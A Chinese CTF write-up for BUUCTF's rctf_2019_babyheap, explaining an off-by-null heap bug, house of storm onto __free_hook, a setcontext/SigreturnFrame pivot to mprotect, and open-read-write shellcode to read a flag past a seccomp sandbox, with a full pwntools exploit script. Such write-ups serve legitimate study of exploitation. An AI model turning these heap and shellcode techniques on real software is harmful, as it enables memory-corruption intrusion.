BUUCTF-PWN rctf_2019_babyheap(house of storm,堆SROP)

題目分析

在這裏插入圖片描述
程序還有沙箱保護,把execve禁用了,只能orw了
在這裏插入圖片描述
在init中還把fastbin關了
在這裏插入圖片描述
在edit中有一個off-by-null溢出,以前這種情況都是用unlink進行攻擊,不過這題我們沒有地址所以無法使用
在這裏插入圖片描述

漏洞利用

這題一開始先利用house of storm漏洞分配到__free_hook附近的內存
關於house of storm的利用方法請見這篇文章:
BUUCT-PWN 0ctf_2018_heapstorm2(house of storm)

因爲本題禁用了execve,所以我們就不考慮寫入system的地址了,本題採用的是mprotect+shellcode注入的做法,思路來源是星盟的WP(RCTF2019 pwn writeup 集合

首先,我們把setcontent+53的地址寫入__free_hook,並在其之後0x10字節內存中寫上兩遍__free_hook+0x18的地址,最後把如下shellcode1寫入:

xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi

setcontext的主要代碼如下:

<setcontext>:	push   rdi
<setcontext+1>:	lea    rsi,[rdi+0x128]
<setcontext+8>:	xor    edx,edx
<setcontext+10>:	mov    edi,0x2
<setcontext+15>:	mov    r10d,0x8
<setcontext+21>:	mov    eax,0xe
<setcontext+26>:	syscall 
<setcontext+28>:	pop    rdi
<setcontext+29>:	cmp    rax,0xfffffffffffff001
<setcontext+35>:	jae    0x7ffff7a54bc0 <setcontext+128>
<setcontext+37>:	mov    rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>:	fldenv [rcx]
<setcontext+46>:	ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>:	mov    rbx,QWORD PTR [rdi+0x80]
<setcontext+67>:	mov    rbp,QWORD PTR [rdi+0x78]
<setcontext+71>:	mov    r12,QWORD PTR [rdi+0x48]
<setcontext+75>:	mov    r13,QWORD PTR [rdi+0x50]
<setcontext+79>:	mov    r14,QWORD PTR [rdi+0x58]
<setcontext+83>:	mov    r15,QWORD PTR [rdi+0x60]
<setcontext+87>:	mov    rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>:	push   rcx
<setcontext+95>:	mov    rsi,QWORD PTR [rdi+0x70]
<setcontext+99>:	mov    rdx,QWORD PTR [rdi+0x88]
<setcontext+106>:	mov    rcx,QWORD PTR [rdi+0x98]
<setcontext+113>:	mov    r8,QWORD PTR [rdi+0x28]
<setcontext+117>:	mov    r9,QWORD PTR [rdi+0x30]
<setcontext+121>:	mov    rdi,QWORD PTR [rdi+0x68]
<setcontext+125>:	xor    eax,eax
<setcontext+127>:	ret 
<setcontext+128>:   mov    rcx,QWORD PTR [rip+0x356951]        # 0x7ffff7dd3e78
<setcontext+135>:   neg    eax
<setcontext+137>:   mov    DWORD PTR fs:[rcx],eax
<setcontext+140>:   or     rax,0xffffffffffffffff
<setcontext+144>:   ret

這個利用方式有點類似SROP,setcontext函數負責對各個寄存器進行賦值,甚至可以控制rip,對寄存器進行賦值主要從+53開始,而我們利用pwntools的SigreturnFrame可以更方便地進行賦值,只要把該SigreturnFrame寫入一個chunk中,free它就能達到目的
我們這裏考慮使用mprotect先賦予一段內存寫的權限

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']

當mprotect執行完時,rsp指向__free_hook+0x10,其中的值爲__free_hook+0x18,這樣我們就執行了第一段shellcode,這段shellcode的目的是往指定內存中讀入shellcode並跳過去執行
我們第二段shellcode如下:

mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// ./flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd 
mov rsi,rsp  ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd 
mov rsi, rsp ;// buf
mov rdx, rax ;// count 
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall

這段shellcode使用orw的方法讀取flag

Exp

from pwn import *

#r = remote("node3.buuoj.cn", 27089)
#r = process("./rctf_2019_babyheap")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xC2B)
	x/10gx $rebase(0x202110)
	c
	''')

elf = ELF("./rctf_2019_babyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = "Choice: \n"
def add(size):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Size: ")
	r.sendline(str(size))

def delete(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Index: ")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Index: ")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index: ")
	r.sendline(str(index))
	r.recvuntil("Content: ")
	r.send(content)

def pwn():
	libc.address = 0
	add(0x80)#0
	add(0x68)#1
	add(0xf0)#2
	add(0x18)#3
	delete(0)
	payload = 'a'*0x60 + p64(0x100)
	edit(1, payload)
	delete(2)
	add(0x80)#0
	show(1)
	malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
	libc.address = malloc_hook - libc.sym['__malloc_hook']
	system = libc.sym['system']
	free_hook = libc.sym['__free_hook']
	set_context = libc.symbols['setcontext']
	success("libc_base:"+hex(libc.address))
	add(0x160)#2

	add(0x18)#4
	add(0x508)#5
	add(0x18)#6
	add(0x18)#7
	add(0x508)#8
	add(0x18)#9
	add(0x18)#10

	edit(5, 'a'*0x4f0+p64(0x500))
	delete(5)
	edit(4, 'a'*0x18)
	add(0x18)#5
	add(0x4d8)#11
	delete(5)
	delete(6)
	add(0x30)#5
	add(0x4e8)#6

	edit(8, 'a'*0x4f0+p64(0x500))
	delete(8)
	edit(7, 'a'*0x18)
	add(0x18)#8
	add(0x4d8)#12
	delete(8)
	delete(9)
	add(0x40)#8
	delete(6)
	add(0x4e8)#6
	delete(6)
	#pause()

	storage = free_hook
	fake_chunk = storage - 0x20
	payload = '\x00'*0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
	edit(11, payload)
	payload = '\x00'*0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) +p64(0) + p64(fake_chunk-0x18-5)
	edit(12, payload)
	add(0x48)#6
	sleep(0.5)

	new_addr =  free_hook &0xFFFFFFFFFFFFF000
	shellcode1 = '''
	xor rdi,rdi
	mov rsi,%d
	mov edx,0x1000

	mov eax,0
	syscall

	jmp rsi
	''' % new_addr
	edit(6, 'a'*0x10+p64(set_context+53)+p64(free_hook+0x18)*2+asm(shellcode1))

	frame = SigreturnFrame()
	frame.rsp = free_hook+0x10
	frame.rdi = new_addr
	frame.rsi = 0x1000
	frame.rdx = 7
	frame.rip = libc.sym['mprotect']
	edit(12, str(frame))
	delete(12)
	sleep(0.5)

	shellcode2 = '''
	mov rax, 0x67616c662f ;// /flag
	push rax

	mov rdi, rsp ;// /flag
	mov rsi, 0 ;// O_RDONLY
	xor rdx, rdx ;
	mov rax, 2 ;// SYS_open
	syscall

	mov rdi, rax ;// fd 
	mov rsi,rsp  ;
	mov rdx, 1024 ;// nbytes
	mov rax,0 ;// SYS_read
	syscall

	mov rdi, 1 ;// fd 
	mov rsi, rsp ;// buf
	mov rdx, rax ;// count 
	mov rax, 1 ;// SYS_write
	syscall

	mov rdi, 0 ;// error_code
	mov rax, 60
	syscall
	'''
	r.sendline(asm(shellcode2))

	r.interactive()

if __name__ == "__main__":
	#pwn()

	while True:
		r = remote("node3.buuoj.cn", 25576)
		try:
			pwn()
		except:
			r.close()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章